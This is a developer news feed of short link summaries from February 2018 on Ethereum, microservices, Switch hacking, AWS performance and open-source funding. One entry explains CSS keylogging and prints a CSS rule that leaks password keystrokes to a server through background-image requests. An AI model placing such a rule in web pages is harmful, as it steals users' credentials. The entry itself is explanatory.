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Why decentralization matters

Chris Dixon on Medium: Early internet protocols were technical specifications created by working groups or non-profit organizations that relied on the alignment of interests in the internet community to gain adoption. This method worked well during the very early stages of the internet but since the early 1990s very few new protocols have gained widespread adoption. Cryptonetworks fix these problems by providing economics incentives to developers, maintainers, and other network participants in the form of tokens. They are also much more technically robust. For example, they are able to keep state and do arbitrary transformations on that state, something past protocols could never do. Basically, the protocols of the past weren't made for the internet of the future. The next era of the internet is being built with Web 3.

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Mastering Ethereum 📖

The book isn't due for publication by O'Reilly until Q4 of this year, but content and progress is publicly available on GitHub today. Here's the skinny: a book for developers, offering a guide to the operation and use of the Ethereum, Ethereum Classic, RootStock (RSK) and other compatible EVM-based open blockchains. Co-authored by Andreas Antonopoulos and Gavin Wood, Mastering Ethereum has a high chance of being excellent. 👌

logged by @jerodsanto 2018-02-23T19:06:00.010769Z permalink #learn #ethereum

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Learnings on designing your first microservice

If you're in the beginning of your journey to build and deploy your first microservice, read this post from our friends at HelloFresh. Don’t reinvent the wheel, unless it’s extremely necessary or you have all of the time and resources in the world. This is one of the easiest mistakes to make. We did it with the conviction that this would benefit us enormously down the road, and, 6 months later, we realized how wrong we were. Here's what we learned... HelloFresh is hiring ~> Senior Backend Engineer in Berlin

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Hackers have turned the Nintendo Switch into a functional Linux tablet

Paul Miller: There are two major reasons I can think of to hack a game console. The first one is obvious: so you can play cracked copies of games. That’s why modern consoles are so difficult to hack, because millions of dollars are on the line. But some people just want to run any software they choose on the hardware they own. And for those people, Linux on the Switch is a huge achievement. This hack boasts touchscreen support, a fully operational death star web browser, and a GPU-powered demo app. Sadly, there are no details out on how you can do it yourself, but Twitter user fail0verlow has a nice video of it in action embedded in a tweet.

logged by @jerodsanto 2018-02-23T15:13:00.009401Z permalink #linux #gaming

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CSS key logging is a thing?! 😱

Turns out it definitely can be, as long as you are using a component-style JavaScript tool (such as React) that updates input values on every keypress. Here's how it works: Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image. Add some CSS that looks like this: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } When the user types an a in to the password field, it will hit your server for logging. Dastardly!

logged by @jerodsanto 2018-02-23T14:09:00.007925Z permalink #security #css

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We're paying a premium for co-workers

We all need co-workers. Some get them for free. Others have to pay for them. We’re trending towards paying for them. As workers from home, we often work in complete isolation. Most of us like it that way. The rest of us are lonely. To get some much needed interaction with other like-minded humans we turn to Slack, Twitter, Instagram, Facebook, LinkedIn, Snapchat, iMessage – pretty much anything that gives us hope, connection, acceptance, and value – the four pillars of a healthy human. That works, mostly. But not really. For many, the only option is to pay for co-workers. Need community? Join the Changelog Community for free -- it costs zero.

logged by @adamstac 2018-02-22T16:55:18.88663Z permalink #culture

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Top 5 ways to improve AWS EC2 performance

AWS EC2 promises ease of deployment and instant scalability, but it also introduces significant changes to coding, deployment and maintenance. This leads to performance issues like unpredictable EBS disk I/O, EC2 instance ECU mismatches, and ELB load balancing traffic latency. So how do you identify and fix these issues? This guide explains this and more: Why these issues occur How to detect them How to resolve these issues, or avoid them all together

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"This is a call for help."

Jürg Lenhi, writes in this tweet thread: Let's talk about open-source. I've been developing and maintaining Paper.js for years. It has 8,700 stars on GitHub. Multiple big companies have done projects and products with it. Yet donations and sponsored features are very few, and I need to accept other work to sustain a living. There are several more tweets that follow this up with more details from Jürg, but what I found missing, is an awareness of what a healthy relationship for him and this project looks like. If we've learned anything from Request For Commits, it is that money doesn't solve the open source maintainer problem, so donations or Patreon alone aren't a fix. (Thanks to Cody for sharing this in our community Slack.)

logged by @adamstac 2018-02-21T18:14:04.657611Z permalink #sustainability

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